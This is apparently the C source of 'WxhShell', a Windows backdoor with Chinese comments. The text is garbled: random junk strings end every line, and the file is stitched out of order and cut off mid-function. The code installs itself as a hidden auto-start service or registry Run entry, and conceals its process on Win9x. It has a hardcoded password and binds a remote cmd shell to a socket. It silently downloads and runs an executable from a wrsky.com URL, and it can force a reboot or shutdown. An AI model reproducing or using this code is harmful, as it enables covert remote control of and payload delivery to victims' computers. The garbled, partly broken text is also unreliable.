    break; 9 `z^'k&  
    } ]aTF0 R  
  // 关机 )G=hgqy  
  case 'd': {  ua] ?D2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); diDB>W  
    if(Boot(SHUTDOWN)) J1gLT $  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,%EGM+  
    else { h1jEulcMtq  
    closesocket(wsh); Z]x)d|3;  
    ExitThread(0); uhO-0H  
    } 35 PIfq m  
    break; J{h?=vK  
    } CwQRHi  
  // 获取shell _8'z"w F  
  case 's': { _W^{,*p  
    CmdShell(wsh); g]Fm%iy  
    closesocket(wsh); 8KyF0r?  
    ExitThread(0); 5;_&C=[  
    break; !R@s+5P)U  
  } 2JX@#vQ4  
  // 退出 D ~LU3#n  
  case 'x': { VSW"/{Lp  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Zz@wbhMV  
    CloseIt(wsh); bFtzwa5Gc  
    break; Ab/KVB  
    } Zt H{2j0  
  // 离开 `d6,]'  
  case 'q': { .:V4>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); PWbi`qF)r  
    closesocket(wsh); odNHyJS0  
    WSACleanup(); c3q @]|aI  
    exit(1); 3?:?dy(3z  
    break; <`WtP+`  
        } #8;#)q_[u  
  } WpPI6bd  
  } MMS#Ci=Lj  
| +r5D4]e  
  // 提示信息 [&h%T;!Qii  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g&`[r6B  
} AAPfU_: ^  
  } Zq\Vq:MX  
_l||69|.  
  return; z;+LU6V  
} cNvh2JI  
zPt0IB_j'  
// shell模块句柄 %y_AT2A  
int CmdShell(SOCKET sock) 4oywP^I  
{ -VPda @@w  
STARTUPINFO si; V H2/  
ZeroMemory(&si,sizeof(si)); =]<JkWSk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L$4nbOu\~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (X(c.Jj  
PROCESS_INFORMATION ProcessInfo; <Z^qBM  
char cmdline[]="cmd"; ztHEXM.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~zD*=h2C  
  return 0; 7R5!(g  
} EGIwqci:  
@(_f}S gfE  
// 自身启动模式 'Bb@K[=s  
int StartFromService(void) /woC{J)4p  
{ <N}*|z7=b  
typedef struct ![CF >:e  
{ bdz&"\$X  
  DWORD ExitStatus; ~u+|NtF  
  DWORD PebBaseAddress; QB|D_?]  
  DWORD AffinityMask; rN5;W  
  DWORD BasePriority; JwM Fu5@  
  ULONG UniqueProcessId; [$P.ek<  
  ULONG InheritedFromUniqueProcessId; qk=0ovUzg  
}   PROCESS_BASIC_INFORMATION; ;|H(_J=6k  
Hg%8Q@  
PROCNTQSIP NtQueryInformationProcess; y_A?} 'X  
c3G&)gU4q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 95X!{\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k=8LhO  
~sUWXw7~  
  HANDLE             hProcess; T_1p1Sg  
  PROCESS_BASIC_INFORMATION pbi; gg}^@h&?  
Z5%TpAu[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r(uf yC&  
  if(NULL == hInst ) return 0; e lzKtVw  
aB+B1YdY"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z4aK   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;?'=*+'>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); oYNp0Hc  
$dgez#TPL  
  if (!NtQueryInformationProcess) return 0; .?CumaU  
2*1FW v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D|rcSa.M  
  if(!hProcess) return 0; <"rckPv_H  
&6}] v:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z~+gche>  
2W]y9)<c  
  CloseHandle(hProcess); qtLXdSc  
jYi{[* *  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); iJD_ qhd7  
if(hProcess==NULL) return 0; 6*r3T:u3  
`.8#q^  
HMODULE hMod; k9iXVYQ.;r  
char procName[255]; baL-~`(T  
unsigned long cbNeeded; }2-p= Y:6  
*Ul L\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); VG+WVk  
>W[#-jA_Z  
  CloseHandle(hProcess); sB>ZN3ptH^  
YMEI J}  
if(strstr(procName,"services")) return 1; // 以服务启动  ;%tu;  
:\+\/HTbh  
  return 0; // 注册表启动 ezR!ngt  
} NDaM;`  
1=X"|`<!  
// 主模块 B{+ Ra  
int StartWxhshell(LPSTR lpCmdLine) zu-1|X X  
{ WJN}d-S=^  
  SOCKET wsl; h]z>H~.<*  
BOOL val=TRUE; Jxy94y*  
  int port=0; b 7%O[  
  struct sockaddr_in door; l-mf~{   
61^5QHur  
  if(wscfg.ws_autoins) Install(); "TgE@bC  
|+0XO?,sZ  
port=atoi(lpCmdLine); F&I ;E i  
.0zNt  
if(port<=0) port=wscfg.ws_port; :*wjC.Z  
u/2!v(  
  WSADATA data; s*0PJ\E2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }|7y.*  
i`2X[kc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l[J'FR:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z nc'  
  door.sin_family = AF_INET; T)NnWEB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "RF<i3{S  
  door.sin_port = htons(port); j7M[]/|  
*1 [v08?!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `/z6 Q"  
closesocket(wsl); <_tkd3t#W  
return 1; 7~V,=WEe  
} dq{wFI)  
AqzPwO^  
  if(listen(wsl,2) == INVALID_SOCKET) { }`,}e259  
closesocket(wsl); +s'qcC  
return 1; = NHzh!  
} =(~UK9`  
  Wxhshell(wsl); h^D]@H  
  WSACleanup(); - ^sbf.  
9(/ ;Wutj"  
return 0; Z$? Ql@M  
#*<*|AwoW|  
} !L#>wlX)  
2AAZZx +$  
// 以NT服务方式启动 R]7-6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E\(dyq/  
{ ~$8t/c  
DWORD   status = 0; BWct0=  
  DWORD   specificError = 0xfffffff; E.kjYIH8  
uWYI p\NN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s2{d<0x?v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?1?zma S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -U?Udmov  
  serviceStatus.dwWin32ExitCode     = 0; Eo$7W5h J  
  serviceStatus.dwServiceSpecificExitCode = 0; WmRx_d_  
  serviceStatus.dwCheckPoint       = 0; eL-9fld /n  
  serviceStatus.dwWaitHint       = 0; 65ctxxWv1  
ZgcJxWC<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hZ0CnY8 '  
  if (hServiceStatusHandle==0) return; .#,!&Lt  
G' ~Z'  
status = GetLastError(); ?_L)|:WL  
  if (status!=NO_ERROR) 5UQz6DK  
{ [`~E)B1Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >h0iq  
    serviceStatus.dwCheckPoint       = 0; R`wL%I!?f  
    serviceStatus.dwWaitHint       = 0; pb(YA/  
    serviceStatus.dwWin32ExitCode     = status; 3U<\s=1?X  
    serviceStatus.dwServiceSpecificExitCode = specificError; &;%z1b> F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); o 26R]  
    return; 0Jh^((i*  
  } L* Mt/  
:D>afC8,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (hB&OP5Fne  
  serviceStatus.dwCheckPoint       = 0; 9U_uw Rv2  
  serviceStatus.dwWaitHint       = 0; 2Qqk?;^ 1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }hralef #N  
} UvSvgDMl  
)")_aA  
// 处理NT服务事件,比如:启动、停止 Awo H d7M  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (6R^/*-o  
{ ;/ iBP2  
switch(fdwControl) 9y(75Bn9  
{ @O/Jy2>3H  
case SERVICE_CONTROL_STOP: 5U&b")3IT!  
  serviceStatus.dwWin32ExitCode = 0; oh k.;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !1tHg Z2\  
  serviceStatus.dwCheckPoint   = 0; }7>r,  
  serviceStatus.dwWaitHint     = 0;  :1q)l  
  { s4@dEK8W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2F0@M|'  
  } W0X/&v,k*  
  return; qn VxP&  
case SERVICE_CONTROL_PAUSE: 7cGc`7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =/Ob kVYf  
  break; `.dX@<  
case SERVICE_CONTROL_CONTINUE: DD3.el}6a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j {w'#x,  
  break; B>&Q]J+R  
case SERVICE_CONTROL_INTERROGATE: uT'}_2=:  
  break; x=g=e <_  
}; }Fd4; ]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tiZ5 :^$b4  
} ^t&S?_DSZ  
Q k e8BRBn  
// 标准应用程序主函数 Bb 5|+b P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t6GL/M4  
{ )[d?&GK  
9 )1 8  
// 获取操作系统版本 2lVJ"jg  
OsIsNt=GetOsVer(); /;7\HZ$@/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~c&ygL3  
3;@/`Z_\lt  
  // 从命令行安装 'OI Ol  
  if(strpbrk(lpCmdLine,"iI")) Install(); S+^*rw  
vUEG0{8l  
  // 下载执行文件 G%{J.J41F  
if(wscfg.ws_downexe) {  |,*N>e  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :+%"kgJNL  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4K_rL{s0U  
} DJxe3<  
:DI``]Si\  
if(!OsIsNt) { KMO(f!?  
// 如果时win9x,隐藏进程并且设置为注册表启动 n[~kcF  
HideProc(); `nAR/Ye  
StartWxhshell(lpCmdLine); 9yU(ei:GUo  
} B?BB  
else 4~mYj@lvd  
  if(StartFromService()) YP*EDb?f  
  // 以服务方式启动 _4eSDO[h  
  StartServiceCtrlDispatcher(DispatchTable); !c}?u_Z/  
else 3uSj5+@q6  
  // 普通方式启动 OF[y$<jM  
  StartWxhshell(lpCmdLine); MKqMH,O  
T5* t~`bfU  
return 0; !S0$W?*  
} K4 \{G  
0(!j]w"r3  
K`7(*!HEb  
2YT1]x 3  
===========================================  !t.  
F];"d0O#5  
eI?|Ps{S  
[1+ o  
[BPK0  
,8~q nLy9  
" 'Z(KE2&?  
?T]` X  
#include <stdio.h> 6n[O8^  
#include <string.h> 'R'P^  
#include <windows.h> Yp*Dd}n`  
#include <winsock2.h> ) qD Ch  
#include <winsvc.h> }BTK+Tk8  
#include <urlmon.h> 0;Lt  
,8=`Y9#  
#pragma comment (lib, "Ws2_32.lib") /WvF}y  
#pragma comment (lib, "urlmon.lib") ['<Q402:.  
5<Ly^Na:  
#define MAX_USER   100 // 最大客户端连接数 W 9i}w&  
#define BUF_SOCK   200 // sock buffer %2H0JXKa,  
#define KEY_BUFF   255 // 输入 buffer ?8ZOiY(  
^^q9+0@  
#define REBOOT     0   // 重启 #%Z 0!  
#define SHUTDOWN   1   // 关机 3X &'hz@  
O!uZykdX4!  
#define DEF_PORT   5000 // 监听端口 x;Qs_"t];3  
I},]Y~Y3  
#define REG_LEN     16   // 注册表键长度 R^v-%mG9  
#define SVC_LEN     80   // NT服务名长度 uu5AW=j  
1!(Og~#(  
// 从dll定义API gLm ]*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9%{V?r]k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %y7&~me  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1L~y!il  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U*P&O+(1'  
4Ss4jUj  
// wxhshell配置信息 g0Rny  
struct WSCFG { ua!i3]18  
  int ws_port;         // 监听端口 #$-zg^  
  char ws_passstr[REG_LEN]; // 口令 *d~).z)  
  int ws_autoins;       // 安装标记, 1=yes 0=no ((& y:{?G  
  char ws_regname[REG_LEN]; // 注册表键名 caG5S#8-"  
  char ws_svcname[REG_LEN]; // 服务名 +c7e[hz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wSy|h*a,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x9QUo*MT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y\a@'LFL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t@#+vs@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5 )A(q\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XZh1/b^DMN  
P\jnht  
}; _*K=Z,a;\  
fT]hpoJl  
// default Wxhshell configuration |M8FMH[_  
struct WSCFG wscfg={DEF_PORT, ;u:A:Y4V  
    "xuhuanlingzhe", ~J~@mE2ks  
    1, xE$>;30b_  
    "Wxhshell", xbVvK+  
    "Wxhshell", 8fI]QW  
            "WxhShell Service", nj90`O.K  
    "Wrsky Windows CmdShell Service", V(lxkEu/Fj  
    "Please Input Your Password: ", 3^jkd)xw  
  1, [9<c;&$LU  
  "http://www.wrsky.com/wxhshell.exe", JWh5gOXd  
  "Wxhshell.exe" +#;t.&\80N  
    }; 0A,u!"4[  
VnjhEEM!  
// 消息定义模块 k},@2#W]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =c(t;u6m-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `6No6.\J  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8QJ^@|7  
char *msg_ws_ext="\n\rExit."; "c9T4=]&t  
char *msg_ws_end="\n\rQuit."; K2Z]MpLD  
char *msg_ws_boot="\n\rReboot..."; /v<FH}  
char *msg_ws_poff="\n\rShutdown..."; 0uZL*4A+C  
char *msg_ws_down="\n\rSave to "; 8I>'x f  
??]b,f4CNa  
char *msg_ws_err="\n\rErr!"; eNHSfq  
char *msg_ws_ok="\n\rOK!"; !#NGGIp;  
MD4RSl<F  
char ExeFile[MAX_PATH]; ]QJ N` ;b0  
int nUser = 0; ydZS^BqG  
HANDLE handles[MAX_USER]; n<)gS7  
int OsIsNt; G5oBe6\C  
&UFj U%Z%  
SERVICE_STATUS       serviceStatus; =q\Ghqj1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r(ZMZ^  
cv=H6j]h |  
// 函数声明 6L/`  
int Install(void); j7XUFA  
int Uninstall(void); Il4R R  
int DownloadFile(char *sURL, SOCKET wsh); %&iY5A  
int Boot(int flag); ["u:_2!4P  
void HideProc(void); j}`XF?2D  
int GetOsVer(void); <rKfL`8p  
int Wxhshell(SOCKET wsl); FjU -t/  
void TalkWithClient(void *cs); a>o]garB+  
int CmdShell(SOCKET sock); WC7ltw2  
int StartFromService(void); ML!>tCT  
int StartWxhshell(LPSTR lpCmdLine); 6)]zt  
r%uka5@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #5 %\~ f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); FJ+n- \  
G m~2s;/  
// 数据结构和表定义 DtFzT>$^F  
SERVICE_TABLE_ENTRY DispatchTable[] = } %bP9  
{ _SQQS67fu"  
{wscfg.ws_svcname, NTServiceMain}, g7l?/p[n  
{NULL, NULL} w(N$$  
}; -V F*h.'  
W#bOx0  
// 自我安装 EyDH -}Y  
int Install(void) +a'["Gjq;  
{ /)J]m  
  char svExeFile[MAX_PATH]; oc>N| ww:  
  HKEY key; )*`cJ_t  
  strcpy(svExeFile,ExeFile); fo"%4rkL  
<*3#nA-O>i  
// 如果是win9x系统,修改注册表设为自启动 '}, 8x?  
if(!OsIsNt) { PKg>|]Rf.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PNp-/1Cx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X(npgkVP\  
  RegCloseKey(key); /J5)_> R:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]kir@NMv>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TN=!;SvQU  
  RegCloseKey(key); Zsto8wuf#  
  return 0; DedY(JOvB  
    } 3EA+tG4KnO  
  } 9=}&evGm89  
} /=@V5)  
else { U3^3nL-M9  
C@P*:L_  
// 如果是NT以上系统,安装为系统服务 _@D"XL#L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [Te"|K':  
if (schSCManager!=0) \Gm\sy  
{ 2uzy]faM  
  SC_HANDLE schService = CreateService >$:_M*5  
  (  nJ|M  
  schSCManager, QB<~+d W  
  wscfg.ws_svcname, M\D25=(  
  wscfg.ws_svcdisp, x>Gx yVE  
  SERVICE_ALL_ACCESS, le150;7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SH5a&OVZhn  
  SERVICE_AUTO_START, 1~ZFkcV_C  
  SERVICE_ERROR_NORMAL, yt {?+|tXU  
  svExeFile, *%n(t+'q  
  NULL, /4YxB,  
  NULL, L #`Vr$  
  NULL, r!&}4lHYi  
  NULL, s(8e)0Tl  
  NULL [;pL15-}4  
  ); I\~sE Jwj  
  if (schService!=0) v 8B4%1NE  
  { .H}#,pQ}l  
  CloseServiceHandle(schService); zF@ /8#  
  CloseServiceHandle(schSCManager); uhvn1"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  uWkn}P  
  strcat(svExeFile,wscfg.ws_svcname); @ruWnwb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y41~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A(D3wctdr  
  RegCloseKey(key); NRMEZ\*L  
  return 0; Ya29t 98Pk  
    } Jy P$'v~  
  } >c=-uI  
  CloseServiceHandle(schSCManager); D zdKBJT+  
} K)#6&\0tT  
} ld[BiP`B2V  
"Ky&x$dje  
return 1; Vs9]Gm  
} :NynNu'  
+QA|]Y~!  
// 自我卸载 z#GrwE,r   
int Uninstall(void) =h\uC).t&  
{ mCSt.n~  
  HKEY key; FnCMr_  
\ch4c9  
if(!OsIsNt) { [{.9#cQ "  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f>[{1M]n\  
  RegDeleteValue(key,wscfg.ws_regname); qkA8q@Y4|  
  RegCloseKey(key); Gx;-1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [mFgo il  
  RegDeleteValue(key,wscfg.ws_regname); =\IUBH+C  
  RegCloseKey(key); ]VoJ7LoCZ'  
  return 0; !,OY{='  
  } 2Ft#S8  
} zsr;37  
} `RyH~4\;  
else { /pL'G`  
8 Y))/]R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R,`3 SW()  
if (schSCManager!=0) ltlnXjRUv  
{ OWZ;X}x  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e3WEsD+  
  if (schService!=0) >">grDX  
  { ss4YeZa  
  if(DeleteService(schService)!=0) { 3/Dis) v8  
  CloseServiceHandle(schService); F- {hXM  
  CloseServiceHandle(schSCManager); N=j$~,yG  
  return 0; o('6,D  
  } df{6!}/(  
  CloseServiceHandle(schService); ;v5Jps2^]  
  } >"[Nmx0;w  
  CloseServiceHandle(schSCManager); \xKhbpO~  
} 5Un)d<!7&u  
} t[:G45].-k  
/Zg4JQ~  
return 1; rw#?NI:  
} NY/-9W5T4  
NBD1k;  
// 从指定url下载文件 p7Z/%~0v:  
int DownloadFile(char *sURL, SOCKET wsh) 5z Pn-1uW  
{ z{nd4qOsD  
  HRESULT hr; 7!JBF{,=  
char seps[]= "/"; Pv\-D<&@m  
char *token; oO9yI^  
char *file; ]Cp`qayct  
char myURL[MAX_PATH]; ?:3rVfO  
char myFILE[MAX_PATH]; :'sMrf_EA  
Je~`{n  
strcpy(myURL,sURL); q>m[vvt"  
  token=strtok(myURL,seps); gT2k}5d}p  
  while(token!=NULL) x{3q'2  
  { hw1J <Pl*  
    file=token; l%# z  
  token=strtok(NULL,seps); ZOy^TR  
  } /\U:F  
Go !{T  
GetCurrentDirectory(MAX_PATH,myFILE); `!C5"i8+i2  
strcat(myFILE, "\\"); [0H]L{yV  
strcat(myFILE, file); .[o`TlG%  
  send(wsh,myFILE,strlen(myFILE),0); yGC3B00Z  
send(wsh,"...",3,0); $1n\jN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Hm]\.ZEy  
  if(hr==S_OK) 8aI^vP"7`=  
return 0; -Xt0=3,  
else ^-,@D+eW  
return 1; .50ql[En  
 AtP!.p"j  
} YXIAVSnr  
-o+; e3#  
// 系统电源模块 AS a)xf9  
int Boot(int flag) vAzSpiv-  
{ Z`>m   
  HANDLE hToken; @DK`#,  
  TOKEN_PRIVILEGES tkp; `%$+rbo~  
lI;ACF^  
  if(OsIsNt) { zd3^k<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~N8$abQJV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m{by%  
    tkp.PrivilegeCount = 1; YXDuhrs}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q1P=A:*]9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l8+;)2p!  
if(flag==REBOOT) { ft?c&h;At  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hlGrnL  
  return 0; .Ix[&+LsY  
} iu QMVtv  
else { [{6fyd;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vOU9[n N[  
  return 0; }r|$\ms  
} .QB)Y* z  
  } TH*}Ja^/  
  else { VVk8z6 W  
if(flag==REBOOT) { MGsY3~!K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m:c .dei5  
  return 0; +O@|bd \  
} @cn8m  
else { u6i X&%e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G.>Ul)O:a  
  return 0; A }d\ ND  
} z7R2viR[  
} n7L|XkaQ  
4M P8t@z  
return 1; fy={  
} 7,FhKTV1/  
uEr['>  
// win9x进程隐藏模块  e,T^8_>  
void HideProc(void) qD{~QHDa  
{ _c,{}sn  
 RAF do  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c1 Hp  
  if ( hKernel != NULL ) 2!GyQ@&[W  
  { Y/y`c-VO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V:2{LR<R8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F-GH?sfvi  
    FreeLibrary(hKernel); [m(n-Mu F  
  } (PSL[P  
B4x@{rtER  
return; Wx|De7*  
} uVa`2]NV r  
J6Nhpzp  
// 获取操作系统版本 &[_D'jm+S0  
int GetOsVer(void) U|+ c&TY  
{ 64t:  
  OSVERSIONINFO winfo; oq2-)F2/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "]U_o<V  
  GetVersionEx(&winfo); h}=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) VCa`|S?2  
  return 1; YD] :3!MI  
  else +$#ytvDy  
  return 0; N V`=T?1[5  
} r>J%Eu/O  
d?)Ic1][  
// 客户端句柄模块 ;!)gjiapw  
int Wxhshell(SOCKET wsl) G|qsJ  
{ KU;J2Kt  
  SOCKET wsh; [H {2<!  
  struct sockaddr_in client; \Yr&vX/[p  
  DWORD myID; _eUd RL>  
YB3 76/  
  while(nUser<MAX_USER) LKYcE;n  
{ L@`:mK+;  
  int nSize=sizeof(client); z4JhLef%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qEfg-`*M  
  if(wsh==INVALID_SOCKET) return 1; {}"a_L&[;  
cRP!O|I`]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ow*^z78M{  
if(handles[nUser]==0) Qb'Q4@.  
  closesocket(wsh); +.McC$!s  
else G' mg-{  
  nUser++; na_Wp^;  
  } t""d^a#Dp  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Xr{ r&Rl  
%XH%.Ps/  
  return 0; I$*LMzve  
} 9(hI%idq  
4{LKT^(!f  
// 关闭 socket ~9c jc  
void CloseIt(SOCKET wsh) O&r9+r1`  
{ ,D\}DJ`)C  
closesocket(wsh); "=yz}~,  
nUser--; #2;8/"v  
ExitThread(0); &90pKs  
} E=t^I/f)E  
p/KG{-f,  
// 客户端请求句柄 ]*<!|;q  
void TalkWithClient(void *cs) ! l"*DR  
{ %FLe@.Ep{D  
()zn8_z  
  SOCKET wsh=(SOCKET)cs; duoM >B>8]  
  char pwd[SVC_LEN]; B !Z~jT  
  char cmd[KEY_BUFF]; Pa"[&{:  
char chr[1]; rS_pv=0S  
int i,j; CmdPa!4)  
[#+klP$  
  while (nUser < MAX_USER) { =H?^G[y  
+{WZpP},v  
if(wscfg.ws_passstr) { jm,:jkr  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :b<<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C^*}*hYk$  
  //ZeroMemory(pwd,KEY_BUFF); -+kTw06_C  
      i=0; @-.Tgpe@a  
  while(i<SVC_LEN) { ;R^=($X  
_g6H&no[  
  // 设置超时 k]S`A,~  
  fd_set FdRead; .5iXOS0 G  
  struct timeval TimeOut; yH]w(z5Z  
  FD_ZERO(&FdRead); 8r48+_y3u  
  FD_SET(wsh,&FdRead); pf#~|n#t  
  TimeOut.tv_sec=8; s"(F({J  
  TimeOut.tv_usec=0; D'Uv7Mis  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |v:fP;zc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4Q~++PKBe  
a@m  64l)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Zz!yv(e)H  
  pwd=chr[0]; spTIhZ  
  if(chr[0]==0xd || chr[0]==0xa) { 6&,9=(:J&R  
  pwd=0; ~>rn q7j  
  break; ;ApldoMi  
  } % E 8s>D  
  i++; V@\A<q%jTs  
    } e%^PVi  
Pl&x6\zL  
  // 如果是非法用户,关闭 socket dl+:u}9M$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6nW]Q^N}  
} a6hDw'8!  
B0,C!??5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %[BOe4[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /m h #o  
?y,z  
while(1) { {r:5\  
A4Tjfc,rx9  
  ZeroMemory(cmd,KEY_BUFF); ?F9c6$|  
c? >;UzM  
      // 自动支持客户端 telnet标准   LNF|mS\+D  
  j=0; {emym$we  
  while(j<KEY_BUFF) { x, #?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -S 0dr8E  
  cmd[j]=chr[0]; z W*Z  
  if(chr[0]==0xa || chr[0]==0xd) { ,b74 m  
  cmd[j]=0; YeB)]$'?u`  
  break; /,JL \b  
  } `\Te,  
  j++; d#:7V%]d p  
    } {r_x\VC=p  
:Kk+wp}f #  
  // 下载文件 $pj;CoPm  
  if(strstr(cmd,"http://")) { eV(   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4*?i!<N9  
  if(DownloadFile(cmd,wsh)) a4Y43n  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Og2G0sWRf  
  else }nMp.7b  
